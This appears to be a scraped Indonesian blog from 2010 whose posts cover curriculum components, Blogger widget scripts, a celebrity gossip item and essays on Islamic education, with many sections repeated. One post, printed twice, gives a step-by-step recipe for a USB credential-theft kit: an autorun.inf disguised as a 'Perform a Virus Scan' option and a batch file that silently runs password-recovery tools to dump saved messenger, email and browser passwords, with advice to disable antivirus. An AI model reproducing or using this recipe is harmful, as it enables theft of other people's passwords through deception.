1. Tujuan Institusional (Kompetensi Lulusan)
Adalah tujuan yang yang harus dicapai oleh suatu lembaga pendidikan, contoh: SD, SMP, dan SMA atau sederajat.
2. Tujuan kurikuler (Standart Kompetensi)
Adalah tujuan bidang studi atau mata pelajaran sehingga mencapai hakikat keilmuan yang ada didalamnya.
3. Tujuan instruksional (Kompetensi Dasar)
Tujuan instruksional (Kompetensi Dasar) dirumuskan sebagai kemampuan-kemampuan yang diharapkan dimiliki anak didik setelah mereka menyelesaikan prosesbelajar mengajar. Sedangkan di dalam KBK tujuan kurikulum dalam pendidikan terdapat 2 jenis standart yaitu standart akademis (academic content standarat) dan standart kompetensi (performance standart).
2. Komponen Isi/Materi
Isi program kurikulum adalah segala sesuatu yang diberikan kepada anak didik dalam kegiatan belajar mengajar dalam rangka mencapai tujuan. Isi kurikulum meliputi jenis-jenis bidang studi yang diajarkan dan isi program masing-masing bidang studi tersebut. Bidang-bidang studi tersebut disesuaikan dengan jenis, jenjang maupun jalur pendidikan yang ada.
Kriteria yang dapat membantu pada perancangan kurikulum dalam menentukan isi kurikulum. Kriteria itu antara lain:
1. Isi kurikulum harus sesuai, tepat dan bermakna bagi perkembangan siswa.
2. Isi kurikulum harus mencerminkan kenyataan sosial.
3. Isi kurikulum harus mengandung pengetahuan ilmiah yang tahan uji
4. Isi kurikulum mengandung bahan pelajaran yang jelas
5. Isi kurikulum dapat menunjanga tercapainya tujuan pendidikan.
Materi kurikulum pada hakekatnya adalah isi kurikulum yang dikembangkan dan disusun dengan prinsip-prinsip sebagai berikut :
Isi / materi kurikulum hakikatnya adalah semua kegiatan dan pengalaman yang dikembangkan dan disusun untuk mencapai tujuan pendidikan. Secara umum isi kurikulum itu dapat dikelompokan menjadi :
1. Logika, yaitu pengetahuan tentang benar salah berdasarkan prosedur keilmuan.
2. Etika, yaitu pengetahuan tentang baik buruk, nilai dan moral
3. Estetika, pengetahuan tentang indah-jelek, yang ada nilai seninya.
Pengembangan materi kurikulum harus berdasarkan prinsif-prinsif sebagai berikut:
1. Mengandung bahan kajian yang dapat dipelajari siswa dalam pembelajaran.
2. Berorientasi pada tujuan, sesuai dengan hirarki tujuan pendidikan.
3. Komponen Susunan Materi
Materi pembelajaran disusun secara logis dan sistematis, dalam bentuk strategi pelaksanaan kurikulum. Strategi merujuk pada pendekatan dan metode serta peralatan mengajar yang digunakan dalam pengajaran. Tetapi pada hakikatnya strategi pengajaran tidak hanya terbatas pada hal itu saja. Pembicaraan strategi pengajaran tidak hanya terbatas pada hal itu saja. Pembicaraan strategi pengajaran tergambar dari cara yang ditempuh dalam melaksanakan pengajaan, mengadakan penilaian, pelaksanaan bimbiungan dan mengatur kegiatan, baik yang secara \umum berlaku maupun yang bersifat khusus dalam pengajaran.
Strategi pelaksanaan kurikulum berhubungan dengan bagaimana kurikulum itu dilaksanakan disekolah. Kurikulum merupakan rencana, ide, harapan, yang harus diwujudkan secara nyata disekolah, sehingga mampu mampu mengantarkan anak didik mencapai tujuan pendidikan. Kurikulum yang baik tidak akan mencapai hasil yang maksimal, jika pelaksanaannya menghasilkan sesuatu yang baik bagi anak didik. Komponen strategi pelaksanaan kurikulum meliputi pengajaran, penilaian, bimbingan dan penyuluhan dan pengaturan kegiatan sekolah.
4. Komponen Evaluasi Kurikulum
Evaluasi merupakan komponen untuk melihat efektifitas pencapaian tujuan. Dalam konteks kurikulum evaluasi dapat berfungsi untuk mengetahui apakah tujuan yang telah ditetapkan telah tercapai atau belum, juga digunakan sebagai umpan balik dalam perbaikan strategi yang ditetapkan. Evaluasi merupakan salah satu komponen kurikulum, dengan evaluasi dapat diperoleh informasi yang akurat tentang penyelenggaraan pembelajaran, keberhasilah siswa, guru dan proses pembelajaran itu sendiri. Berdasarkan hasil evaluasi dapat dibuat keputusan kurikulum itu sendiri, pembelajaran, kesulitan dan upaya bimbingan yang diperlukan.
Jenis-jenis penilaian meliputi :
a) Penilaian awal pembelajaran (Input program)
b) Penilaian proses pembelajaran (Program)
c) Penilaian akhir pembelajaran.(output program)
REFERENSI
Hamid syarif. Pengembanagan kurikulum Pasuruan: garoeda buana indah, 1993
Nana Sudjan. Pembinaan dan pengembangan kurikulum disekolah Bandung: Sinar Baru, 1991
Mulyasa. Kurikulum Berbasis Kompetensi konsep, karakteristik, dan implementasi Bandung: PT Remaja Rosdakarya, 2003
M. Pius A Partanto dan M. Dahlan al Barry, Kamus Istilah Populer, Arkola, Surabaya
Situs
KBBI Online
http://akhmadsudrajat.wordpress.com/2008/01/22/komponen-komponen-kurikulum/
DOWNLOAD Artikel ini
10.10.2010
Cara Membobol Password Melalui Flashdisk
Sebagaimana di ketahui, Windows selalu menyimpan password yang digunakan setiap hari yang di jalankan dari berbagai program termasuk password instant messenger, MSN, Yahoo, AOL, Windows messenger dan lain lain.
Windows selalu menyimpan password yang digunakan setiap hari yang di jalankan dari berbagai program termasuk password instant messenger, MSN, Yahoo, AOL, Windows messenger dan lain lain.
Ada sejumlah tools yang berfungsi merecovery (memulihkan) password dari file tempatnya di simpan dengan memanfaatkan USB flashdisk. Anda dapat membuat rootkit Anda sendiri untuk meng-hack password. berikut ini sejumlah tools untuk recovery password :
MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.
Mail PassView : merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.
IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini mendukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 – v6.0.
Protected Storage PassView : merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi …
PasswordFox : PasswordFox [TERUS TERANG ANE PALING SUKA SAMA YANG INI] adalah utilitas pemulihan password sederhana yang memungkinkan anda melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif Anda, tetapi Anda dapat dengan mudah memilih untuk melihat password Firefox di lain profil.
Berikut adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk):
CATATAN: Anda harus menonaktifkan sementara antivirus Anda sebelum mengikuti langkah-langkah ini.
1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu: Salinlah file – mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.
2. Buat file Notepad baru dan dan ketik teks berikut ini :
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
Bisa juga di tambahin skrip buat munculin icon biar lebih keliatan meyakinkan .
3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, lalu
copy file autorun.inf ke dalam USB drive.
4. Buat file Notepad baru lagi dan ketik teks berikut :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
5. Simpan file Notepad and gantilah namanya dari New Text Document.txt menjadi launch.bat, lalu Salin file launch.bat USB drive Anda.
Sekarang rootkit Anda sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.
Cara menggunakan flashdisk hack tools sebagai berikut :
1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, ada telah menciptakan sebuah autorun di flashdisk).
2. PENTING : Pada jendela pop-up, pilih pilihan pertama (melakukan scan Virus | Perform a Virus Scan).
3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.
4. Keluarkan flashdisk dan Anda akan melihat password yang tersimpan dalam format TXT file.
Sumber : http://www.kaskus.us/showthread.php?t=4412069
Windows selalu menyimpan password yang digunakan setiap hari yang di jalankan dari berbagai program termasuk password instant messenger, MSN, Yahoo, AOL, Windows messenger dan lain lain.
Ada sejumlah tools yang berfungsi merecovery (memulihkan) password dari file tempatnya di simpan dengan memanfaatkan USB flashdisk. Anda dapat membuat rootkit Anda sendiri untuk meng-hack password. berikut ini sejumlah tools untuk recovery password :
MessenPass : piranti recover password yang paling populer untuk Program Instant Messenger seperti: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger, Trillian, Miranda, dan Gaim.
Mail PassView : merecovery password dari program email seperti: Outlook Express, Microsoft Outlook 2000 (POP3 dan SMTP Account saja), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP dan SMTP Account), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird dan Group Mail Gratis lainnya.
IE Passview : adalah utilitas sederhana yang bisa merecovery password dari browser Internet Explorer. Versi ini mendukung Internet Explorer 7.0, serta versi Internet explorer, v4.0 – v6.0.
Protected Storage PassView : merecovery semua password yang tersimpan dalam Protected Storage, termasuk AutoComplete password Internet Explorer, password dari situs yang dilindungi sandi, MSN Explorer Sandi, dan masih banyak lagi …
PasswordFox : PasswordFox [TERUS TERANG ANE PALING SUKA SAMA YANG INI] adalah utilitas pemulihan password sederhana yang memungkinkan anda melihat nama pengguna dan sandi yang disimpan oleh browser Mozilla Firefox. Secara default, PasswordFox menampilkan password yang disimpan dalam profil aktif Anda, tetapi Anda dapat dengan mudah memilih untuk melihat password Firefox di lain profil.
Berikut adalah langkah demi langkah untuk menciptakan procedure password hacking toolkit dalam USB Drive (Flashdisk):
CATATAN: Anda harus menonaktifkan sementara antivirus Anda sebelum mengikuti langkah-langkah ini.
1. Download dan ekstrak ke 5 tools di atas dan copy file executable (Exe file) saja ke Flashdisk yaitu: Salinlah file – mspass.exe, mailpv.exe, iepv.exe, pspv.exe dan passwordfox.exe ke dalam USB Drive.
2. Buat file Notepad baru dan dan ketik teks berikut ini :
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
Bisa juga di tambahin skrip buat munculin icon biar lebih keliatan meyakinkan .
3. Simpan Notepad and rename dari New Text Document.txt menjadi autorun.inf, lalu
copy file autorun.inf ke dalam USB drive.
4. Buat file Notepad baru lagi dan ketik teks berikut :
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
5. Simpan file Notepad and gantilah namanya dari New Text Document.txt menjadi launch.bat, lalu Salin file launch.bat USB drive Anda.
Sekarang rootkit Anda sudah siap di gunakan untuk hack password. Namun, tools Hack ini akan bekerja pada Windows 2000, XP, Vista dan 7 serta akan memulihkan password jika ada password yang tersimpan dalam computer.
Cara menggunakan flashdisk hack tools sebagai berikut :
1. Masukkan flashdisk ke USB Port dan jendela pop-up autorun akan tampil. (Hal ini karena, ada telah menciptakan sebuah autorun di flashdisk).
2. PENTING : Pada jendela pop-up, pilih pilihan pertama (melakukan scan Virus | Perform a Virus Scan).
3. Sekarang, semua hacking tools password berjalan secara diam-diam di belakang layar. Proses ini memakan waktu tidak terlalu lama. Password yang di temukan akan di recover untuk selanjutnya disimpan dalam sebuah file TXT.
4. Keluarkan flashdisk dan Anda akan melihat password yang tersimpan dalam format TXT file.
Sumber : http://www.kaskus.us/showthread.php?t=4412069
Membuat Headlin di Blog
Jika anda berkunjung ke blog atau situs laian mungkin anda pernah melihat melihat sebuah bar kecil di bawah, jika di lintasberita.com Headlinenya ada di atas. di dalamnya berisi berita-beruta terbaru dari blog berubah-rubah, sehingga membuatnya menarik perhatian. Nah itulah yang dimaksud dengan Headline News. Tips kali ini kang salman dapatkan dari teman saya Kang Jayaputra
Kang salman ingin membahas sedikit cara bagaimana cara memasang Headline News di blog Pengertian headline news sendiri adalah sebuah widget pihak ke tiga yang dibuat dengan bantuan javascript yang berfungsi untuk menampilkan judul serta link artikel-artike terbaru dari update blog kita.
Nah cara untuk membuat nya pun sangat mudah anda cukup copy paste kode dibawah ini ke dalam elemen widget yang baru, Letakkan widget terserah anda.
1. Login ke Blogger
2. Pilih Edit Tata Letak
3. Pilih Tambah Widget
4. Pilih HTML/Javascrtpt
5. Copy Kode di bawah ini :
<script type="text/javascript">
var hn_url_blog = "http://NAMABLOGANDA.blogspot.com";
var hn_jumlah_post = 5;
var hn_warna_latar = "#333333";
var hn_warna_garis = "#000000";
var hn_posisi = "bottom";
var hn_tampilkan_judul = true;
var hn_backlink = true;
</script>
<script src="http://recent.googlecode.com/files/headlinenews.txt">
</script>
Catatan :
1. Warna merah di atas ganti dengan alamat blog anda
2. Warna hijau di atas adalah warna latar dari widget, b
3. Wana Biru adalah untuk warna garis yang akan muncul di widget,
4. Warna orange di atas adalah untuk posisi widget yang akan di tampilakan, bottom = bawah, top=atas dll
6. Setelah selesai, simpan dan lihat hasilnya.
Selamat mencoba.........
Kang salman ingin membahas sedikit cara bagaimana cara memasang Headline News di blog Pengertian headline news sendiri adalah sebuah widget pihak ke tiga yang dibuat dengan bantuan javascript yang berfungsi untuk menampilkan judul serta link artikel-artike terbaru dari update blog kita.
Nah cara untuk membuat nya pun sangat mudah anda cukup copy paste kode dibawah ini ke dalam elemen widget yang baru, Letakkan widget terserah anda.
1. Login ke Blogger
2. Pilih Edit Tata Letak
3. Pilih Tambah Widget
4. Pilih HTML/Javascrtpt
5. Copy Kode di bawah ini :
<script type="text/javascript">
var hn_url_blog = "http://NAMABLOGANDA.blogspot.com";
var hn_jumlah_post = 5;
var hn_warna_latar = "#333333";
var hn_warna_garis = "#000000";
var hn_posisi = "bottom";
var hn_tampilkan_judul = true;
var hn_backlink = true;
</script>
<script src="http://recent.googlecode.com/files/headlinenews.txt">
</script>
Catatan :
1. Warna merah di atas ganti dengan alamat blog anda
2. Warna hijau di atas adalah warna latar dari widget, b
3. Wana Biru adalah untuk warna garis yang akan muncul di widget,
4. Warna orange di atas adalah untuk posisi widget yang akan di tampilakan, bottom = bawah, top=atas dll
Catatan tambahan :
- hn_url_blog = URL blog anda (ganti dengan url blog anda)
- hn_jumlah-post = jumlah judul artikel yang di tampilkan
- hn_warna_latar = kode warna untuk latar belakang headline news
- hn_warna-garis = kode warna garis bingkai
- hn-posisi = menentukan posisi letak headline news
6. Setelah selesai, simpan dan lihat hasilnya.
Selamat mencoba.........
10.09.2010
Cara membuat kata Pertanyaan Pada Pengunjung Blog
Copy pastekan script di bawah ini tepat di atas kode </head> :
<script type="text/javascript">
var yourName = prompt("Bolehkah saya tau nama anda", "Nama Kamu Siapa?");
</script>
Keterangan :
+ Ganti tulisan yg berupa pertanyaan dengan pertanyaan anda sendiri.
Selamat mencoba ...
<script type="text/javascript">
var yourName = prompt("Bolehkah saya tau nama anda", "Nama Kamu Siapa?");
</script>
Keterangan :
+ Ganti tulisan yg berupa pertanyaan dengan pertanyaan anda sendiri.
Selamat mencoba ...
Cara Membuat Kata Penutup Blog
Kata penutup di Blog merupakan salah satu trik dari pemilik blog atau admin untuk menyampaikan suatu pesan terima kasih kepada para pengunjungnya karena telah membuka blognya. Anda pasti sudah pahamkan maksud saya mengenai penutup blog itu. Script ini saya coba di Blogspot dan belum saya praktekkan di Wordpress.
Cara buatnya :
1. Login ke account blogger anda.
2. Klik Layout --> Edit HTML.
3. Cari kode </head> di dalam template anda.
4. Copy pastekan script di bawah ini tepat dibawah kode </head> :
<script type='text/javascript'>
// goodbye alert
function goodbye(){
alert('Bagaimana Pendapat Anda Tentang Blog Saya ? Silahkan Kembali dan Beri Komentar Anda! Terimah Kasih !!');
}
parent.window.onunload=goodbye;
</script>
Cara buatnya :
1. Login ke account blogger anda.
2. Klik Layout --> Edit HTML.
3. Cari kode </head> di dalam template anda.
4. Copy pastekan script di bawah ini tepat dibawah kode </head> :
<script type='text/javascript'>
// goodbye alert
function goodbye(){
alert('Bagaimana Pendapat Anda Tentang Blog Saya ? Silahkan Kembali dan Beri Komentar Anda! Terimah Kasih !!');
}
parent.window.onunload=goodbye;
</script>
10.07.2010
Cara Membuat Slide Foto
Jika kita menginginkan foto-foto kita bisa terlihat di blog kita dalam bentuk tampilan slide, maka kita bisa menggunakan beberapa cara salah satunya adalah menggunakan aplikasi program yang telah disediakan oleh www.slide.com. Tampilan slide bisa kita atur sedemikian rupa seperti sliding, checker, fading, revolver dan lain sebagainya. Tentunya kita juga harus menyiapkan beberapa foto yang sudah kita persiapkan. Berikut adalah beberapa langkah yang harus kita lakukan untuk menampilkan slide foto yang kita inginkan di blog kita:
1. Kita buka www.slide.com
2. Daftar menjadi anggota dengan cara register menggunakan email kita.
3. Klik pada tab “MAKE A SLIDE SHOW”
4. Upload foto-foto kita dengan cara mem-browse foto yang telah kita simpan sebelumnya.
5. Kustomisasi desain slide kita dengan memilih tampilan slide yang kita inginkan pada menu “CUSTOMIZE YOUR DESIGN”
6. Kemudian simpan dan dapatkan kode HTML-nya
7. Kita juga bisa mengatur warna background, font dan warna tulisannya.
8. Copy kode HTML-nya dan paste-kan pada widget di blog anda. Selamat mencoba….
Sumber nya KLIK DI SINI dan DI SINI
Membuat Embed Lagu
Punya lagu favorit? mau disisipkan di MP,dan dapat dikirim ke teman-teman MP yang lain? gampang, cari aja code music embed di Google. code music ebed biasanya dapat dicopas di musik-live.net. Tapi, gimana kalau lagu favorit kita itu ga ada di musik-live.net? Nah ini dia caranya, zawwad kasih ide...
Pertama-tama kita musti punya file musiknya (mp3, WMA, WAP, dll). Setelah itu file musik kita harus punya alamat URLnya. Nah, dengan modal alamat URL file musik kita itu, kita bisa membuat "code music embed" sendiri.
Pertanyaannya, bagaimana membuat alamat URL untuk file musik kita?
Pertama-tama kita musti punya file musiknya (mp3, WMA, WAP, dll). Setelah itu file musik kita harus punya alamat URLnya. Nah, dengan modal alamat URL file musik kita itu, kita bisa membuat "code music embed" sendiri.
Pertanyaannya, bagaimana membuat alamat URL untuk file musik kita?
Kode HTML Waktu
<center>
<script type="text/javascript" src="http://www.mahesajenar.com/scripts/hijriah.php?tz=7&type=jadwal" > </script>
</center>
Hasilnya seperti ini:
Anda tertarik dengan ini....Silakan coba!!!
<script type="text/javascript" src="http://www.mahesajenar.com/scripts/hijriah.php?tz=7&type=jadwal" > </script>
</center>
Hasilnya seperti ini:
Anda tertarik dengan ini....Silakan coba!!!
Heboh... Zainuddin MZ Main CInta
Note: foto yang diduga mirip dengan Zainuddin MZ di masa lalu dengan Aida Saskia
"Saya punya buktinya, berupa Foto dan lain-lain. Saya enggak akan beberkan di sini karena pada saatnya nanti akan ketahuan juga. Tapi untuk video enggak ada. Zainuddin MZ itu orang yang parno divideoin," beber Aida, saat ditemui di sebuah restoran di kawasan Tebet, Jakarta Selatan, Kamis (7/10/2010).
Kemunculan Aida membuka kisah lama dengan Zainuddin itu memang sudah dipersiapkan dengan matang. Penyanyi dangdut asal Bogor ini tak akan berani buka mulut jika tak memiliki bukti. Apalagi, sebelumnya pun dia sudah diancam oleh Zainuddin supaya tutup mulut.
10.04.2010
Kapita Selekta
Kondisi Pendidikan Islam
Teknologi modern telah memungkinkan terciptanya komunikasi bebas lintas benua, lintas negara, menerobos sebagai pelosok perkampungan di pedesaan dan menyelusup di gang-gang sempit di perkotaan, melalui media audio, audio visual dan sebagainya. Fenomena modern yang terjadi di awal milenium ketiga ini popular dengan sebutan globalisasi.
Memasuki era baru, era kebersatuan umat manusia (globalisasi) seperti sekarang ini, pendidikan Islam dihadapkan kepada berbagai macam persoalan yang semakin erat. Sementara di hadapannya, dunia social masyarakat sedang diterpa krisis moralitas. Melalui media massa dan elektronik dapat diperoleh informasi mengenai berbagai gejala dekadensi moral yang akhir-akhir ini sering terjadi, khususnya di kota-kota besar.
Kedua, perlu pemikiran kembali tujuan dan fungsi lembaga-lembaga pendidikan Islam (Anwar Jasin, 1985 : 15) yang ada. Memang diakui bahwa penyesuaian lembaga-lembaga pendidikan akhir-akhir ini cukup mengemberikan, artinya lembaga-lembaga pendidikan memenuhi keinginan untuk menjadikan lembaga-lembaga tersebut sebagai tempat untuk mempelajari ilmu umum dan ilmu agama serta keterampilan. Tetapi pada kenyataannya penyesuaian tersebut lebih merupakan peniruan dengan pola tambal sulam atau dengan kata lain mengad opsi model yang dilakukan oleh lembaga-lembaga pendidikan umum, artinya ada perasaan harga diri bahwa apa yang bisa dilakukan oleh lembaga-lembaga pendidikan umum dapat juga dilakukan oleh lembaga-lembaga pendidikan agama, sehingga akibatnya beban kurikulum yang terlalu banyak dan cukup berat dan terjadi tumpang tindih. Sebenarnya lembaga-lembaga pendidikan Islam harus memilih satu di antara dua fungsi, apakah mendesain model pendidikan umum Islami yang handal dan mampu bersaing dengan lembaga-lembaga pendidikan yang lain, atau mengkhususkan pada desain pendidikan keagamaan yang berkualitas, mampu bersaing dan mampu mempersiapkan mujtahid-mujtahid yang berkualitas.
Ketiga, persoalan kurikulum atau materi Pendidikan Islam, materi pendidikan Islam "terlalu dominasi masalah-maslah yang bersifat normatif, ritual dan eskatologis. Materi disampaikan dengan semangat ortodoksi kegamaan, suatu cara dimana peserta didik dipaksa tunduk pada suatu "meta narasi" yang ada, tanpa diberi peluang untuk melakukan telaah secara kritis. Pendidikan Islam tidak fungsional dalam kehidupan sehari-hari, kecuali hanya sedikit aktivitas verbal dan formal untuk menghabiskan materi atau kurikulum yang telah diprogramkan dengan batas waktu yang telah ditentukan.
Teknologi modern telah memungkinkan terciptanya komunikasi bebas lintas benua, lintas negara, menerobos sebagai pelosok perkampungan di pedesaan dan menyelusup di gang-gang sempit di perkotaan, melalui media audio, audio visual dan sebagainya. Fenomena modern yang terjadi di awal milenium ketiga ini popular dengan sebutan globalisasi.
Memasuki era baru, era kebersatuan umat manusia (globalisasi) seperti sekarang ini, pendidikan Islam dihadapkan kepada berbagai macam persoalan yang semakin erat. Sementara di hadapannya, dunia social masyarakat sedang diterpa krisis moralitas. Melalui media massa dan elektronik dapat diperoleh informasi mengenai berbagai gejala dekadensi moral yang akhir-akhir ini sering terjadi, khususnya di kota-kota besar.
Menurut M.Irsjad Djuwaeli yang dikutip oleh Akmal Hawi, “Ternyata gejala yang sama terjadi dalam dunia pendidikan yang ditandai dengan maraknya tawuran, kekerasan antar pelajar, bahkan penyalahgunaan obat-obat terlarang”. Kecenderungan tersebut tampaknya merupakan fenomena yang terkait dengan ketidakmampuan lembaga pendidikan dalam memperkuat kelembagaan nilai-nilai Islam bagi kehidupan individual dan sosial, sehingga manusia mengalami keterasingan, yang makin lama makin mendorongnya kepada hilangnya orientasi kemanusiaan.
Oleh karena itu, dalam menghadapi peradaban modern, yang perlu diselesaikan adalah
persoalan-persoalan umum internal pendidikan Islam yaitu (1) persoalan dikotomik, (2) tujuan dan fungsi lembaga pendidikan Islam, (3) persoalan kurikulum atau materi. Ketiga persoalan ini saling interdependensi antara satu dengan lainnya.
Pertama, persoalan dikotomik pendidikan Islam, yang merupakan persoalan lama yang belum terselesaikan sampai sekarang. Pendidikan Islam harus menuju pada integritas antara ilmu agama dan ilmu umum untuk tidak melahirkan jurang pemisah antara ilmu agama dan ilmu bukan agama. Karena, dalam pandangan seorang Muslim, ilmu pengetahuan adalah satu yaitu yang berasal dari Allah SWT.
Ketiga, persoalan kurikulum atau materi Pendidikan Islam, materi pendidikan Islam "terlalu dominasi masalah-maslah yang bersifat normatif, ritual dan eskatologis. Materi disampaikan dengan semangat ortodoksi kegamaan, suatu cara dimana peserta didik dipaksa tunduk pada suatu "meta narasi" yang ada, tanpa diberi peluang untuk melakukan telaah secara kritis. Pendidikan Islam tidak fungsional dalam kehidupan sehari-hari, kecuali hanya sedikit aktivitas verbal dan formal untuk menghabiskan materi atau kurikulum yang telah diprogramkan dengan batas waktu yang telah ditentukan.
Terjemah Qiraah Kutub
PENDIDIKAN DAN FILSAFAT ISLAM
PENYUSUN
MUHAMMAD ATHIYYAH AL ABRASYI
HALAMAN 22-25
PASAL KE-2
TUJUAN PENDIDIKAN ISLAM
1. Pendidikan Akhlak
Sesungguhnya pendidikan akhlak adalah ruh pendidikan Islam. Tercapainya (sampai) akhlak yang sempurna merupakan tujuan hakikat pendidikan. Bukan berarti bahwa kita meminimalkan pendidikan jasmani, akal, alamiyah, atau amaliyah. Akan tetapi makna yang kami maksudkan adalah pendidikan akhlak sebagaimana kami maksudkan dengan jenis-jenis pendidikan yang lain. Anak membutuhkan kekuatan jasmani, akal, alam dan amal, pendidikan akhlak, jiwa, kehendak, perasaan dan syakhsyiah.
Ahli pendidikan Islam sepakat bahwa tujuan pendidikan dan pengajaran bukan (mengisi) mengajari pelajar dengan ilmu dan mengajari materi yang mereka tidak ketahui.. Akan tetapi tujuannya adalah kita menyiapkan akhak mereka, mendidik jiwa mereka, menanamkan fadhilah pada mereka dan mempersiapkan kehidupan mereka yang ikhlas dan bersih seluruhnya. Tujuan utama (pokok) pendidikan Islam adalah mempersiapkan akhlak dan mendidik jiwa. Setiap belajar wajib mempelajari akhlak. Setiap pelajar dituntut untuk menjaga akhlak, wajib menjaga agamanya sebelum mempelajari yang lain. Akhlak diniyah (agama) adalah contoh akhlak yang sempurna. Akhlak nabil (baik) adalah tiang pendidikan dalam Islam.
Imam al-Ghazali berpendapat bahwa tujuan pendidikan adalah mendekatkan diri kepada Allah bukan mencari pangkat dan bermegah-megahan. Seorang pelajar tidak boleh bermaksud dengan ilmunya itu untuk mencari pangkat, mencari harta, …. Menipu orang-orang yang bodoh dan bermegah-megahan. Seorang pelajar itu tidak boleh keluar dari prinsip pendidikan akhlak. Boleh jadi, kita memperoleh tujuan pokok pendidikan Islam pada kalimat yang satu, yaitu “fadhilah/keutamaan.
10.03.2010
SMS Online
Banyak para blogger yang menawarkan berbagai widget menarik. satu di antaranya adalah sms online aliasa gratis.
ini ada trik memasang sms gratis ini di blog. Ada berbagai Cara Memasang Widget SMS Gratis di Blog
Contohnya sebagai berikut :
Seperti biasa sobat harus Login ke Blogger
klik Rancangan (Yang dulunya Tata Letak)
klik Elemen Laman → Tambah Gadget → HTML/JavaScript
Kemudian masukkan kode yang ada dalam kurung berikut ini kedalamnya.
(((<iframe name="I2" src="http://sms-online.web.id/widget" height="350" width="225" > not support </iframe>
<a href=" http://www.imtikhan.co.cc/2010/08/cara-memasang-widget-sms-gratis-di-blog.html" rel="nofollow">Buruan Kirim</a>)))
maka akan menjadi seperti ini:
Buruan Kirim......
ini ada trik memasang sms gratis ini di blog. Ada berbagai Cara Memasang Widget SMS Gratis di Blog
Contohnya sebagai berikut :
Seperti biasa sobat harus Login ke Blogger
klik Rancangan (Yang dulunya Tata Letak)
klik Elemen Laman → Tambah Gadget → HTML/JavaScript
Kemudian masukkan kode yang ada dalam kurung berikut ini kedalamnya.
(((<iframe name="I2" src="http://sms-online.web.id/widget" height="350" width="225" > not support </iframe>
<a href=" http://www.imtikhan.co.cc/2010/08/cara-memasang-widget-sms-gratis-di-blog.html" rel="nofollow">Buruan Kirim</a>)))
maka akan menjadi seperti ini:
Buruan Kirim......
Kurikulum Pendidikan Islam 2
Artike; ini dikutip dari http://razalinda.wordpress.com/2008/04/14/kurikulum-pendidikan-islam/
PENDAHULUAN
بسم الله الرحمن الرحيم
الحمدلله رب العالمين والصلاة والسلام على اشرف الانبياء والمرسلين سيدنا محمد وعلى اله وصحبه اجمعين
Pendidikan merupakan satu aspek yang penting di dalam kehidupan setiap individu. Pendidikan bermula sejak seorang itu dilahirkan sehinggalah ia menemui ajalnya. Pendidikan bagi manusia meliputi aspek jasmani,rohani, akal dan sosial. “Manusia mendidik anaknya supaya badannya sihat dan kuat, akalnya waras dan cerdas, rohaninya luhur dan berbudi pekerti tinggi, tahu bermasyarakat dan menyesuaikan diri dalam kelompoknya” (Musa bin Daia,1986).
Di antara pendidikan yang paling penting bagi setiap manusia ialah pendidikan Islam.”Pendidikan Islam adalah pendidikan yang melatih kepekaan (sensibility) para peserta didik sedemikian rupa sehingga sikap hidup dan peri-laku, juga keputusan dan pendekatannya kepada semua jenis pengetahuan dikuasai oleh perasaan mendalam nilai-nilai etik dan spiritual Islam. Mereka dilatih dan mentalnya didisiplinkan, sehingga mereka mencari pengetahuan tidak sekadar untuk memuaskan keingin-tahuan intelektual atau hanya untuk keuntungan dunia material belaka, tetapi juga untuk mengembangkan diri sebagai makhluk rasional dan saleh yang kelak dapat memberikan kesejahteraan fisik, moral dan spiritual bagi keluarga, masyarakat dan umat manusia”(Syed Sajjad Husain & Syed Ali Ashraf , 2000)
Dalam konteks Negara Brunei Darussalam, pihak kerajaan amat mementingkan pendidikan Islam. Pendidikan Islam mula diberikan kepada kanak-kanak sejak mereka berada di peringkat prasekolah hinggalah ke universiti. Untuk menanamkan ajaran-ajaran Islam di kalangan pelajar-pelajar dengan lebih berkesan, maka satu kurikulum yang lengkap,kemas dan tersusun rapi serta berkesinambungan amatlah diperlukan.
PENDAHULUAN
بسم الله الرحمن الرحيم
الحمدلله رب العالمين والصلاة والسلام على اشرف الانبياء والمرسلين سيدنا محمد وعلى اله وصحبه اجمعين
Pendidikan merupakan satu aspek yang penting di dalam kehidupan setiap individu. Pendidikan bermula sejak seorang itu dilahirkan sehinggalah ia menemui ajalnya. Pendidikan bagi manusia meliputi aspek jasmani,rohani, akal dan sosial. “Manusia mendidik anaknya supaya badannya sihat dan kuat, akalnya waras dan cerdas, rohaninya luhur dan berbudi pekerti tinggi, tahu bermasyarakat dan menyesuaikan diri dalam kelompoknya” (Musa bin Daia,1986).
